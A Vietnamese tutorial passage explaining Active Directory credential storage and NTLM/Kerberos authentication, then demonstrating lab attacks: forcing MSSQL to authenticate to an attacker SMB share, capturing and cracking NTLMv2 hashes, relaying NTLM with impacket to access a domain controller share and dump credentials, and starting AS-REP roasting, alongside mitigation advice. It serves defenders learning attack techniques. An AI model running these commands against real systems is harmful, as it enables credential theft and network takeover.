Hầu hết các doanh nghiệp ngày nay từ vài chục cho tới hàng nghìn nhân viên đều cần một hệ thống trung tâm để quản lý tài khoản, máy tính, và quyền truy cập vào tài nguyên chung. Và gần như cái tên mặc định cho giải pháp này chính là Active Directory (AD). Nếu bạn từng đi làm ở một doanh nghiệp hoặc tổ chức bất kì nào đó, rất có thể bạn đang tiếp xúc với nó mỗi ngày mà chẳng để ý, ví dụ như đăng nhập vào máy tính công ty, mở một thư mục chia sẻ, in tài liệu qua máy in chung, hay kết nối VPN về văn phòng… tất cả đều dựa vào AD. Cũng chính vì sự phổ biến của nó, môi trường AD trong doanh nghiệp đâm ra cũng trở thành mục của các cuộc tấn công mạng. Một lỗ hổng nhỏ trong cấu hình, một chính sách thiếu chặt chẽ, hay chỉ một tài khoản quản trị bị lộ thôi cũng đủ để kẻ tấn công leo thang và kiểm soát toàn bộ hệ thống doanh nghiệp. Trong bài viết này, mình sẽ chia sẻ một cách dễ hiểu về cách AD vận hành và một số kỹ thuật tấn công phổ biến mà hacker hay lợi dụng. Hy vọng sẽ giúp anh em quản trị hoặc làm bảo mật có thêm góc nhìn để bảo vệ hạ tầng của mình tốt hơn 😃
Giới thiệu về Active Directory
Thế thì Active Directory (AD) là gì? AD là sản phẩm được phát triển bởi Microsoft đóng vai trò như trung tâm quản lý và điều phối về xác thực, phân quyền truy cập trong mạng của doanh nghiệp, quyết định ai được làm gì, sử dụng tài nguyên nào, trong bao lâu,....
Trong một AD Domain, Domain Controller (DC) là thành phần trung tâm quan trọng nhất. DC Là một hoặc nhiều máy chủ chịu trách nhiệm xác thực, phân quyền và thi hành các chính sách bảo mật của cả AD, cung cấp một số chức năng quan trọng như:
- Authentication – Xác thực danh tính (NTLM v1/v2, Kerberos).
- Authorization – Cấp và quản lý quyền truy cập (ACLs, Groups, Privileges).
- Services – Các tài nguyên dịch vụ (ADCS, Print Spooler…).
Trong bài viết này mình sẽ chỉ tập trung xoay quanh chức năng Authentication trong môi trường AD và một vài hình thức tấn công phổ biến.
Lưu trữ Credential trong môi trường AD
Credential luôn là một thành phần cực kì quan trọng được sử dụng trong quá trình xác thực, với môi trường AD, các credentials thường được chia ra làm 2 loại:
- Local account: Là các tài khoản local trên chính Window Machine, chỉ có ý nghĩa cục bộ trên chính máy chủ đó và không liên quan gì tới Domain. Nghĩa là không dùng account đó để login vào bất kì Window Machine nào khác được.
- Domain account: Là account dùng được cho cả Domain, tất cả các Window Machine thuộc Domain đều cho các account này truy cập (nếu được quyền). Thông thường sẽ được lưu ở trên máy chủ DC của AD.
Cả 2 loại account trên lại chia ra theo mục đích sử dụng khác nhau, chủ yếu như sau:
- user account: Thường cho người dùng đăng nhập dịch vụ.
- service account: Cũng như account user thôi nhưng thường các service trên Window Machine sẽ dùng account này để run các dịch vụ, thông thường sẽ không dùng để login.
- computer account: account đại diện cho một Machine join vào Domain.
Ngoài ra, khi dùng các account trên để login và tương tác với các hệ thống, thì tuỳ từng tình huống mà Window sẽ phân bố các session logon theo các Logon Type khác nhau để quản lý. Một số loại logon phổ biến như sau:
- Interactive Logon (Logon Type = 2): Dùng khi người dùng đăng nhập vào giao diện của Window Machine, nhập các thông tin username/password thủ công,…
- Network Logon (Logon Type = 3): Dùng khi người dùng truy cập vào tài nguyên network share folder của một Window Machine thông qua SMB,…
- Batch Logon (Logon Type = 4): Dùng cho scheduled tasks (Task Scheduler) chạy bằng tài khoản nào đó.
- Service Logon (Logon Type = 5): Dùng khi một Windows Service khởi động bằng account service.
- NewCredentials (Logon Type = 9): Khi run một tiến trình (như RunAs) với một credential của user khác.
- RemoteInteractive (Logon Type = 10): Khi người dùng login qua Remote Desktop Services / Terminal Services.
- NewCredentials (Logon Type = 11): Khi login bằng credential cache. Các hành động xác thực này đều được xử lý bởi tiến trình lsass.exe trên Window.
Vậy các credentials được lưu trữ thế nào trong Domain AD? Thông thường chúng được lưu ở một số chỗ như sau:
-
SAM (Security Accounts Manager): Chính là file lữu trữ local account credentials (NTLM Hash) nằm trên chính Machine đó. Các tiến trình xác thực bằng local account sẽ được lsass.exe connect tới file SAM để lấy local credentials.
-
NTDS.dit: Chính là file lưu trữ toàn bộ Domain credentials, Kerberos keys,… File này chỉ có trên DC của AD. Các Window Machine thông thường không hề nắm giữ các Domain Credential, cho nên để xử lý xác thực cho các Domain account thì tiến trình lsass.exe sẽ gửi yêu cầu tới DC để xác thực. Trong trường hợp một Window Machine có local account name giống hệt với một Domain account name thì user nên chỉ định Prefix (
Domain\
,user@Domain
), nếu không thì Window Machine sẽ thực hiện xác thực ở local, không tìm thấy account trong local SAM thì nó mới gửi request tới DC. -
DCC (Domain Cached Credentials): Khi một user đăng nhập vào một Window machine bằng Domain account, nó sẽ lưu trữ thông tin đăng nhập này trong
HKLM\Security\Cache
(tất nhiên là mã hoá) để trong trường hợp máy mất kết nối tới DC thì user sử dụng Domain account vẫn đăng nhập vào Window Machine này được. Tiện thì tiện nhưng nếu hacker chiếm được Window Machine này thì có thể dump được các DCC credentials này, các tool phổ biến hay dùng để dump là mimikatz hoặc impacket-secretsdump. Ví dụ về 1 DCC credential mà tool impacket-secretsdump dump được:TEST.LAB/Georgia.Price:$DCC2$10240#Georgia.Price#f20a83b9452ce1c17cf4a57c2b05f7ec
. Vì nó không phải NTLM Hash nên không tận dụng để tấn công pass-the-hash luôn được mà chỉ có thể dùng để offline-bruteforce attack với hashcat hoặc john the ripper. Nếu mật khẩu yếu và đặc biệt nếu đây lại còn là account có quyền cao (Administrator) trong Domain là coi như hacker tuy chiếm được 1 Window Machine mà thành ra có thể chiếm được cả Domain luôn. -
Window Vault: Chỗ này thì lưu các tài khoản đã được saved lại trong khi dùng một số chức năng trên Window Machine như RDP, SMB share, một vài ứng dụng mà dùng API Window Credential Manager,… và được mã hóa bằng DPAPI. Các credential ở đây thật ra không nhất thiết phải là Domain account, nhưng trong nhiều trường hợp nó cũng có thể là chính Domain account được dùng cho dịch vụ đó luôn, nếu không phải thì hacker vẫn có thể tận dụng lại các credentials đó để thử spray với các dịch vụ khác trong AD cũng là một phương án recon hoàn toàn khả thi.
-
RAM: Chính là các credential được lưu trực tiếp trong tiến trình lsass.exe, phục vụ nhu cầu cần tái sử dụng tới credential thì user sẽ không cần phải nhập lại username/password mỗi lần cần xác thực nữa.
-
Application Stored Credential: Là các credential được quản lý bởi app cụ thể ví dụ như web browser, keepass,… nói chung, các mật khẩu ở đây nếu crack được thì có thể thử spray với các Domain account nhưng hên xui có thể sẽ match được account nào đó có thói quen dùng lại password cho nhiều dịch vụ.
Tóm lại, để an toàn thì cần tránh tuyệt đối việc các high privilege Domain account login vào các máy Window Machine trong Domain. Nếu buộc phải đăng nhập vào máy nào đó thì nên xóa cached credentials, xoá application stored password, log off hoàn toàn, và quét bảo mật máy đó ngay sau khi dùng để đảm bảo credential không bị rơi vãi ở bất kì chỗ nào trong môi trường Domain khiến hacker có thể khai thác được. Cài đặt các giái pháp endpoint security trên các Window Machine và chỉ cho phép 1 user được login, nếu cần login bằng user khác thì user đăng nhập trước đó phải log off hoàn toàn, tránh credentials có thể bị dump từ cached hoặc RAM,...
Cơ bản mình đã nói qua một số nơi điển hình lưu trữ các credentials trong môi trường AD. Đối với Window Machine thông thường không phải DC thì riêng mục số 2 kể trên là sẽ không có. Với DC, ban đầu nó vẫn có SAM vì nó cũng chỉ là một Window Machine thông thường, nhưng sau khi được promote lên làm DC của Domain thì nơi lưu trữ như SAM ở mục 1 kể trên sẽ vô dụng, DC sẽ không còn tồn tại Local account nữa mà sẽ chỉ có Domain account. Lúc này toàn bộ việc xác thực sẽ dựa vào credential được lưu trong file NTDS.dit
Giới thiệu về các phương thức xác thực trong AD
LAN Manager (LM)
Microsoft Window thì ra đời từ khá lâu rồi, thời điểm đầu (thời MS-DOS) Window sử dụng LM để xác thực và cơ chế xác thực này thì quá yếu, nó lưu mật khẩu ở dạng hash giới hạn 14 ký tự, chia làm 2 block DES độc lập và không dùng salt cho nên rất dễ crack. Với các công nghệ bây giờ thì bruteforce/rainbow table crack cực nhanh để tìm được mật khẩu plaintext.
Ngoài ra password trước khi Hashing còn được in hoa, nghĩa là nếu có 2 giá trị password khác nhau là P@ssw0rd123
và p@ssw0rd123
sẽ cho ra cùng một kết quả LM Hash. Kiểu xác thực này thì không còn được dùng phổ biến thời bây giờ nữa.
NT LAN Manager (NTLMv1)
NTLMv1 ra đời từ Windows NT 3.1 và 4.0, chủ yếu để thay thế LM vì LM quá yếu. NTLM khắc phục vài điểm yếu của LM bằng cách bổ sung một vài nâng cấp:
- NT Hash: MD4 của password Unicode.
- Challenge: Server gửi 8-byte random challenge cho client.
- Response: Client dùng NT hash + DES để mã hóa challenge, gửi lại cho server.
Tuy nhiên, NTLM vẫn có nhiều điểm yếu:
- Challenge chỉ có độ dài 8 byte → brute-force vẫn rất dễ và nhanh (đặc biệt với hash precomputed).
- Không có salt, có cơ chế signing nhưng yếu → dễ bị relay attack hoặc signing bypass
- Không chống lại được pass-the-hash (Hacker có NT hash là tấn công được).
Credential trong DC thường được lưu trữ dưới dạng USERNAME:RID:LM:NTLM
:
USERNAME
: Tên tài khoản.RID
: Relative Identifier, số định danh duy nhất cho một user account trong AD.LM
: Giá trị LM Hash. Để cho tương thích với hệ thống cũ thôi chứ hầu hết Window sau này đã disable cơ chế này và giá trị này không dùng để làm gì cả.NTLM
: Giá trị NTLM Hash thật sự của password. Hiện nay các hệ thống vẫn đang sử dụng.
Luồng xác thực NTLM khi một người dùng truy cập vào một Server dịch vụ (File Share Server) thuộc Domain như sau:
- Ở máy tính của người dùng, sau khi đã login bằng password, thì plaintext password được lưu trong RAM dưới dạng password hash (NTLM hash). Khi cần truy cập dịch vụ tới Window Server, máy tính của user sẽ gửi Negotiation Message tới Window Server yêu cầu được xác thực.
- Window Server sẽ gửi sinh ra một string ngẫu nhiên gọi là challenge string và gửi về cho user.
- User sẽ sử dụng NTLM Hash được lưu sẵn trong RAM để sẽ encrypt challenge string tạo ra NTLM response và gửi lại cho Server.
- Window Server sẽ không thể biết được message nhận từ Client này có hợp lệ hay không vì nó không nắm giữ NTLM Hash của user này. Nó sẽ chuyển tiếp thông điệp này tới cho DC kèm theo challenge string.
- DC dùng NTLM Hash có sẵn của user được lưu trong
NTDS.dit
để encypt challenge string rồi so sánh giá trị nó vừa tính được với giá trị NTLM Response mà nó nhận được. Nếu 2 giá trị này trùng nhau, DC sẽ trả về kết quả xác thực thành công cho Window Server. - Window Server nhận được thông tin xác thực thành công, nó đồng ý cho user được quyền truy cập vào dịch vụ share file của nó.
- Lúc này từ máy tính của người dùng đã có thể truy cập vào các folder share ở Window Server.
NT LAN Manager (NTLMv2)
NTLMv2 về cơ bản cũng tương tự NTLMv1 nhưng bổ sung thêm 1 số nâng cấp để khắc phục một số điểm yếu của NTLMv1, chủ yếu ở quá trình Challenge-Response:
- Challenge:
- Server gửi 8-byte random challenge.
- Client tạo Client Challenge ngẫu nhiên.
- Response:
- Kết hợp Server Challenge + Client Challenge + Timestamp + một số AV Pair (Attribute–Value Pairs)
- Sử dụng HMAC-MD5 thay vì DES như ở NTLMv1
⇒ Việc bổ sung các thông số trên đảm bảo cơ chế signing an toàn hơn và khó bị NTLM Relay attack, đồng thời password crack cũng khó hơn là NTLMv1. Thật ra là có khó hơn nhưng công nghệ GPU phát triển như bây giờ thì mấy cái kiểu hash này không thấm vào đâu cả. Bên cạnh đó thì vẫn còn những điểm yếu không cải thiện nổi đấy là:
- Nếu không bật SMB signing required thì vẫn bị relay attack.
- Vẫn pass-the-hash được vì NT hash vẫn là credential chính.
Kerberos
NTLM tồn tại từ thời Windows NT 3.1 và kéo dài đến Windows 2000. Cho nên khi Active Directory xuất hiện (Windows 2000), Microsoft cần một giao thức cải thiện về các khía cạnh:
- Bảo mật hơn để chống relay, chống pass-the-hash tốt hơn.
- Hỗ trợ SSO (Single Sign-On) để user chỉ đăng nhập một lần nhưng dùng nhiều dịch vụ.
- Mở rộng cho môi trường đa hệ thống, không chỉ Windows.
Và Microsoft đã phát triển ra một cơ chế xác thực mới có tên là Kerberos (theo chuẩn RFC 4120), được Microsoft tích hợp làm giao thức mặc định từ Windows 2000 trở đi luôn. Tuy nhiên, cái hay mà cũng là cái dở ở đây là dù đã có Kerberos từ khá lâu, thì NTLM vẫn tồn tại song song cho đến tận bây giờ. Ngoài ra, trong chính giao thức xác thực của kerberos cũng có tính năng gọi là Do not require Kerberos preauthentication để đáp ứng nhu cầu tương thích ngược với hệ thống cũ cũng dẫn tới lỗ hổng về bảo mật.
Nói chung đây cũng là câu chuyện quen thuộc trong thế giới công nghệ. Khi công nghệ mới được phát triển thì hệ thống cũ vẫn phải hoạt động trơn tru, không bị gián đoạn để có thể chuyển đổi "từ từ" từ cũ sang mới. Cũng giống như triển khai IPv6 cũng không ngay và luôn được, quá trình chuyển đổi kéo dài, phức tạp và cần sinh ra một cơ chế dual-stack để hai thế hệ công nghệ cũ và mới có thể chạy song song, bảo đảm dịch vụ liên tục và ổn định. Trong môi trường AD sử dụng kerberos cũng có các trường hợp cần tương thích ngược với NTLM khá nhiều, ví dụ như:
- Các máy tính chạy Windows XP, Windows Server 2003 hoặc các hệ điều hành legacy, các thiết bị mạng, máy in, ứng dụng cũ chỉ hỗ trợ NTLM.
- Người dùng truy cập vào tài nguyên trên một máy chủ Windows từ một máy tính không join được Domain mà chỉ hỗ trợ NTLM.
- Khi có vấn đề về đồng bộ thời gian giữa client và DC (vì Kerberos yêu cầu đồng bộ thời gian), hoặc DNS không hoạt động chính xác, Kerberos sẽ không hoạt động, NTLM có thể được sử dụng làm phương án dự phòng.
Tuy nhiên, đây cũng chính là con dao hai lưỡi. Kerberos thì an toàn hơn, nhưng NTLM với những điểm yếu như mình đã nói bên trên vẫn là một điểm yếu lớn cho hacker có thể khai thác để tấn công vào mạng doanh nghiệp. Thực tế thì có rất nhiều cuộc tấn công hiện nay vẫn khai thác thành công các lỗ hổng từ NTLM và gây tác hại cực lớn tới cả doanh nghiệp.
Trong quá xác thực với Kerberos, máy chủ DC chứa một thành gọi là KDC (Kerberos Key Distribution Center service). KDC là một service chuyên phục vụ tất cả các hành động liên quan đến xác thực người dùng, cung cấp các ticket truy cập dịch vụ cho toàn Domain khi sử dụng giao thức Kerberos. Cụ thể luồng xác thực mô tả như hình bên dưới:
1. AS-REQ: Khi cần xác thực để truy cập bất kì một tài nguyên/dịch vụ nào trong mạng, user sẽ phải gửi yêu cầu xác thực (hay còn gọi là pre-auth) cho KDC. Thông tin bên trong sẽ bao gồm timestamp của user hiện tại được mã hoá bởi NTLM Hash của chính user đó. KDC truy cập NTLM Hash của user từ NTDS.dit và dùng nó để giải mã ra thông tin timestamp, nếu timestamp nằm trong khoảng chênh lệch cho phép (ví dụ ±5 phút) thì nó chấp nhận hành động authen này của user. Cái này để hạn chế relay attack, khi mà hacker bắt được AS-REQ của bạn và 30’-1h sau gửi tới KDC để xác thực tiếp.
2. AS-REP: Sau khi xác thực người dùng thành công, KDC sẽ trả về cho user một số thông tin gồm:
- TGT (Ticket Granting Ticket): Được mã hoá bởi NTLM Hash của account
krbtgt
(account này chỉ có KDC mới nắm giữ). Ticket này được dùng lại về sau để yêu cầu TGS, chứng minh là user đã được xác thực thành công rồi. - Session_key: Cái này thì được mã hoá bởi NTLM Hash của user account. session_key sau này được dùng để mã hoá các bản tin về sau trên đường truyền, coi như tách biệt khỏi mật khẩu, tránh mỗi lần xin vé lại phải gửi thông tin dựa trên NTLM Hash của user.
3. TGS-REQ: Sau khi nhận được AS-REP, thì user chỉ có thể giải mã được mỗi session_key dựa vào NTLM Hash của nó thôi, còn cái TGT thì user chỉ dùng lại chứ không giải mã được. Với ví dụ trên, user muốn truy cập service MSSQL trên một Window Server nào đó, nó sẽ tạo ra một TGS-REQ yêu cầu truy cập dịch vụ đó cho KDC, tất nhiên là kèm theo TGT_Ticket được mã hoá bởi session_key mà user đã giải mã được trước đó.
4. TGS-REP: Khi nhận được TGS-REQ, KDC đầu tiên sẽ giải mã TGT_Ticket bằng session_key mà nó giữ, xác nhận là TGT_Ticket này hợp lệ vì chính nó là người cấp, kiểm tra thông tin user có đủ quyền truy cập MSSQL service hay không? Nếu có, nó sẽ tạo ra một TGS Ticket (Ticket Granting Service) được mã hoá với NTLM Hash của service account (account run MSSQL service) và gửi lại cho User.
5. AP-REQ (Application Request): Khi đã có TGS Ticket cho dịch vụ, user sẽ gửi TGS Ticket tới MSSQL Server.
6. AP-REP: MSSQL Service nắm giữ NTLM Hash service account của chính nó nên nó sẽ thực hiện giải mã được TGS Ticket và kiểm tra ticket này có hợp lệ hay không, có còn hạn hay không? Nếu mọi điều kiện đáp ứng thì nó sẽ đồng ý cho user truy cập vào dịch vụ MSSQL.
Từ bây giờ user có thể truy cập vào dịch vụ MSSQL trên Window Server này bình thường.
Các kỹ thuật tấn công vào cơ chế xác thực trong AD
Vừa rồi mình đã nói sơ bộ về các cơ chế xác thực được sử dụng trong môi trường Domain AD. Giờ mình sẽ trình bày về một vài kĩ thuật khai thác vào các cơ chế xác thực này 🤓
Steal NTLM Attack
Ví dụ một tình huống như sau: Một Hacker không phải một user nào đó trong Domain, nhưng lại được leak một local mssql credential có quyền truy cập dịch vụ tới MSSQL Server và có thể thực hiện các câu lệnh mssql cơ bản, trong đó có quyền để duyệt một số file hệ thống như xp_dirtree
)
- Với credential có được (account này chỉ có ý nghĩa trong nội service chứ không hề có ý nghĩa trong bất kì một machine hoặc một service nào khác trong Domain), hacker có quyền login vào mssql shell với tư cách là user quyền guest (user local trong mssql database). Lúc này hacker thực hiện mssql command
xp_dirtree
để connect tới network file share của hacker.
mssqlclient.py 'db_user':'PcwTWTHRwryjcc6'@10.10.11.236 [*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands SQL> xp_dirtree '\\10.10.16.45\a'; subdirectory depth
------------- -----------
- Hacker sẽ dùng tool
Responder.py
để tạo 1 rogue smb server để listen các request từ victim, lúc này bản thân victim sẽ kết nối tới smb share server của hacker và thực hiện các bước xác thực để truy cập vào folder\a
. Victim sẽ làm tương tự các bước xác thực với cơ chế xác thực NTLMv2 như đã nói ở trên và hacker sẽ listen được NTLMv2 Response từ victim như sau:
root@kali# sudo Responder -I eth0 [SMBv2] NTLMv2-SSP Client : 10.10.11.236
[SMBv2] NTLMv2-SSP Username : MSS01\mssql_svc
[SMBv2] NTLMv2-SSP Hash : mssql_svc::MSS01:603386f497f98c33:CDE796E771AA42296023CFE3DF531FD7:0101000000000000C0653150DE09D201C1D544...[snip]...031003400000000000000000000000000
- Lưu toàn bộ NTLMv2 Respone này ra file mssql_svc.netntlmv2.txt và thực hiện bruteforce attack với hashcat cùng với thư viện rockyou.txt và crack được password của user
mssql_svc
làcorporate568
hashcat -m 5600 mssql_svc.netntlmv2.txt /usr/share/wordlists/rockyou.txt
hashcat (v4.0.1) starting...
...[snip]...
MSSQL_SVC::MSS01:603386f497f98c33:cde796e771aa42296023cfe3df531fd7:0101000000000000c0653150de09d201c1d544...[snip]...031003400000000000000000000000000:corporate568
Trong đó:
mssql_svc
: username mà victim dùng để connect tới.MSS01
: Hostname của victim machine.603386f497f98c33
: là server challenge string dài 8 bytes.CDE796E771AA42296023CFE3DF531FD7
: NTLMv2 Response sử dụng HMAC-MD5(NTLMv2 hash, server challenge string+ blob) dài 16 bytes.0101000000000000C0653150D…000000000
: Phần còn lại là blob (phần này chỉ cần dùng lại nên không cần đào sâu).
Trong các thông số kể trên, đối với hacker thì chỉ có thông tin user NTLMv2 hash là không biết. Vì NTLMv2 HMAC-MD5 là hàm băm 1 chiều cho nên để bruteforce password thì logic sẽ như sau: Thử lần lượt từng password plaintext trong thư viện rockyou.tx → Tính ra được NTLM Hash → tính tiếp ra được NTLMv2 Hash → tính ra được HMAC-MD5(server_challenge + blob) → so sánh với giá trị CDE796E771AA42296023CFE3DF531FD7
nhận được từ victim, nếu giá trị này trùng nhau thì password cần tìm chính là password vừa thử.
Vậy sau khi hacker crack được password của user mssql_svc
cũng đồng nghĩa với việc đã chiếm được account đó. Để tấn công tiếp, hacker có thể dùng credential này để khai thác thêm vào AD. Ngoài ví dụ trên, thì bất kì một dịch vụ hay một lỗ hổng của dịch vụ mà cho phép attacker có quyền sử dụng os command shell hay network file access là đều có thể khai thác Steal NTLM Attack này. Để ngăn chặn hoặc chí ít là giảm thiểu tấn công trên thì có một vài cách như sau:
- Vô hiệu hóa hoặc hạn chế quyền tương tác của dịch vụ một cách tối đa. VD: Disable
xp_cmdshell
,xp_dirtree
,xp_fileexist
,xp_subdirs
… trên MSSQL Server cho account quyền thấp. - Dùng least privilege cho tài khoản chạy service (đặc biệt không nên để quyền Domain Admin, Enterprise Admin, hay Local Administrator).
- Nếu có thể, chạy service bằng tài khoản gMSA hoặc local service account để hạn chế bớt rủi ro tấn công lateral movement và privilege escalation nếu bị lộ.
- Hạn chế tối đa hoặc ngăn Window Server gửi NTLM ra ngoài bằng cách dùng Host-base firewall trên Window Machine.
- Nếu service quan trọng và nhạy cảm, có thể triển khai thêm các giải pháp IDS/IPS, Endpoint Security như EDR/XDR, UEBA để giám sát các traffic bất thường ra vào Window Server này.
- Nếu chuyển hẳn toàn bộ hệ thống sang được Kerberos thì tốt.
NTLM Relay Attack
Một ví dụ tương tự với Steal NTLM Attack ở phần trước, nhưng ở đây sẽ có một số điểm khác đó là do user account đặt password đủ phức tạp và đủ dài cho nên attacker không thể crack được password. Lúc này, có thể nghĩ tới phương pháp tấn công NTLM replay attack. Với kỹ thuật tấn công kiểu này, hacker đóng vai trò man-in-the-middle, chỉ cần forward challenge-request từ DC01 sang MS01 và challenge-response từ MS01 sang cho DC01 mà không cần phải biết password của account user. Sau khi quá trình xác thực thành công, hacker có thể sử dụng phiên smb này và truy cập vào các shared file trên DC01 với quyền của user mà nó relay mà không cần phải crack password.
Để có thể tấn công được kiểu này, DC01 cần phải tắt SMB signing hoặc có bật nhưng không required thì hacker mới có thể relay được NTLM message.
Ở đây có thể thấy máy DC01 không bật SMB Signing signing:False
(Cơ chế signing sinh ra để ngăn chặn relay attack, đảm bảo tính toàn vẹn của dữ liệu được trao đổi giữa client và server).
└─$ crackmapexec smb 10.10.133.197 -u null -p '' SMB 10.10.133.197 445 DC01 [*] Windows 10 / Server 2019 Build 19041 x64 (name:DC01) (domain:lab.com) (signing:False) (SMBv1:False)
SMB 10.10.133.197 445 DC01 [-] lab.com\null: STATUS_LOGON_FAILURE
Hoặc dùng nmap thì cũng recon được thông tin này, giả dụ một trường hợp khác đấy là signing:True
nhưng Message signing enabled but not required
, nghĩa là hacker vẫn có thể khai thác được kiểu tấn công này, khi đó hacker nói với server rằng tôi không sử dụng signing thì server vẫn sẽ chấp nhận, lúc này thì không khác gì là signing:False
cả.
nmap --script=smb2-security-mode.nse -p445 10.10.133.197 Starting Nmap 7.94 (https://nmap.org ) at 2023-07-19 13:07 EDT
Nmap scan report for 10.10.133.197
Host is up (0.090s latency).
PORT
STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Target cần tấn công ở đây là máy chủ DC01 với ip là 10.10.159.197, máy chủ MSSQL MS01 có ip là 10.10.159.198 thì sẽ là máy mà hacker đã chiếm được mssql shell service.
└─$ cat target.txt
10.10.159.197 └─$ cat /etc/hosts
10.10.159.197 DC01
10.10.159.198 MS01
Cũng giống như trường hợp trước, hacker có quyền tương tác với mssql shell trên MS01 nhưng với quyền khá hạn chế của local user guest trong database. Ở đây user Guest có quyền để sử dụng access network share file về phía máy của hacker.
SQL (web_staging guest@master)> select @@version;
Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) Copyright (C) 2019 Microsoft Corporation Express Edition (64-bit) on Windows Server 2022 Standard 10.0 <X64> (Build 20348: ) (Hypervisor) SQL (web_staging guest@master)> EXEC xp_dirtree "\\10.10.16.45\share\"
subdirectory depth ------------ -----
Đầu phía hacker bắt được NTLMv2 Response của victim với username là sql_svc
. Nhưng như đã nói bên trên, hacker không crack được password do password của user sql_svc đủ phức tạp và đủ dài.
[+] Listening for events...
ISMB] NTLMv2-SSP Client: 10.10.133.198
[SMB] NTLMV2-SSP Username:LAB\svc_sql
[SMB] NTLMv2-SSP Hash:sql_svc::LAB:7ed324eddb71becd:88CE7EA817B235F26BD29A2707F52D86:01010000000000000027697B8460DB0120FBAAAC...[snip]...002E0034002E003100350037000000000000000000
Để tấn công NTLM Relay, hacker có thể sử dụng tool impacket-ntlmrelayx
để sẽ listen smb request từ MS01 gửi tới với user svc_sql. Sau đó hacker relay NTLM message giữa DC01 và MS01 để xác thực thành công yêu cầu truy cập dịch vụ SMB tới máy chủ 10.10.133.197 (DC01). Khi xác thực thành công, tool này sẽ tạo sẵn luôn một smb shell tunnel tới DC01 với local bind shell đang listen ở TCP/127.0.0.1:11000
.
└─$ impacket-ntlmrelayx -smb2support -tf targets.txt -i Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] Protocol Client DCSYNC loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Running in relay mode to hosts in targetfile
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Multirelay enabled [*] Servers started, waiting for connections
[*] Received connection from LAB/svc_sql at MS01, connection will be relayed after re-authentication
[]
[*] SMBD-Thread-5 (process_request_thread): Connection from LAB/svc_sql@10.10.133.198 controlled, attacking target smb://10.10.133.197
[*] Authenticating against smb://10.10.133.197 as LAB/svc_sql SUCCEED
[*] Started interactive SMB client shell via TCP on 127.0.0.1:11000
...
Giờ chỉ cần connect tới local bind shell này là sẽ có thể truy cập tới shared file trên DC01 với quyền của user svc_sql. Với shared folder này, tìm được 1 file nhạy cảm ở prod_db.conf
và download về để phân tích.
└─$ nc -nv 127.0.0.1 11000 (UNKNOWN) [127.0.0.1] 11000 (?) open
Type help for list of commands
# help open {host,port=445} - opens a SMB connection against the target host/port login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted ... who - returns the sessions currently connected at the target host (admin required) close - closes the current SMB Session exit - terminates the server process (and this session) # shares
ADMIN$
C$
IPC$
NETLOGON
prod
SYSVOL # use prod
# ls
drw-rw-rw- 0 Thu Jun 8 00:44:26 2023 .
drw-rw-rw- 0 Thu Jun 8 00:43:22 2023 ..
-rw-rw-rw- 45 Thu Jun 8 18:24:39 2023 prod_db.conf
# get prod_db.conf
#
Trong trường hợp này, sau khi đọc nội dung thì thấy file prod_db.conf
chứa username/password để connect tới database trên victim.
└─$ cat prod_db.conf user=web_prod
password=Tribesman201
db=prod
Dùng credential mới để kết nối vào database và khai thác thêm vài thông tin nhạy cảm khác nằm trong production database mà user database trước đó không có quyền đọc. Ở đây account này chính là dbo của database prod. Recon được thêm các thông tin username/password mới và hacker có thể thực hiện tiếp lateral movement và privilege escalation.
SQL (web_prod guest@master)> SELECT name FROM sys.databases;
name ------
master tempdb model msdb prod SQL (web_prod guest@master)> USE prod;
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: prod
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'prod'.
SQL (web_prod dbo@prod)> SELECT * FROM information_schema.tables;
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE ------------- ------------ ---------- ---------- prod dbo users b'BASE TABLE' SQL (web_prod dbo@prod)> SELECT * FROM users;
id name password -- --------------- ----------------- 1 b'abbie.smith' b'CMe1x+nlRaaWEw' 2 b'dorothy.rose' b'hC_fny3OK9glSJ'
Như vậy, với việc tắt smb/ldap signing, còn nguy hiểm hơn là NTLM crack vì hacker lúc này có thể giả dạng bất kì username nào mà không cần phải bẻ khoá được mật khẩu. Cho nên phải enforce SMB signing require
, ngoài ra cần cả enforce thêm các service có hỗ trợ signing nữa như LDAP signing
cho an toàn.
Kerberos-AS-REP Roasting
Như đã trình bày về cơ chế xác thực kerberos ở trên. Đối với một user Domain thông thường trong luồng xác thực kerberos, thuộc tính User Account Control chứa một loại flags dùng trong việc xác thực một account Domain đó là DONT_REQUIRE_PREAUTH
. Nôm na thì nếu thuộc tính này được bật, bất kỳ ai cũng có thể gửi AS-REQ của account username đó tới KDC, KDC sẽ không xác thực password của account đó có đúng hay không mà trả về luôn AS-REP. Từ AS-REP, attacker có thể crack được password của account. Phần lớn tính năng này được sử dụng cho người dùng muốn xác thực ở các ứng dụng không hỗ trợ Kerberos pre-authentication. Một tính năng nhằm hỗ trợ tương thích ngược giao thức cũ và mới nhưng lại không đảm bảo an toàn bảo mật.
Quá trình khai thác sẽ chủ yếu tập trung vào bước 1 và bước 2 của luồng xác thực trong kerberos:
Step1: Với flag DONT_REQUIRE_PREAUTH
cho username nào đó, attacker chỉ cần biết username và gửi AS-REQ cho KDC mà không cần phần encrypted(timestamp, user_password_hash)
như thông thường. Điều kiện cần để tấn công kiểu này là hacker phải biết được một username account hoặc danh sách các Domain username để thử (ở đây là test.lab/alfresco).
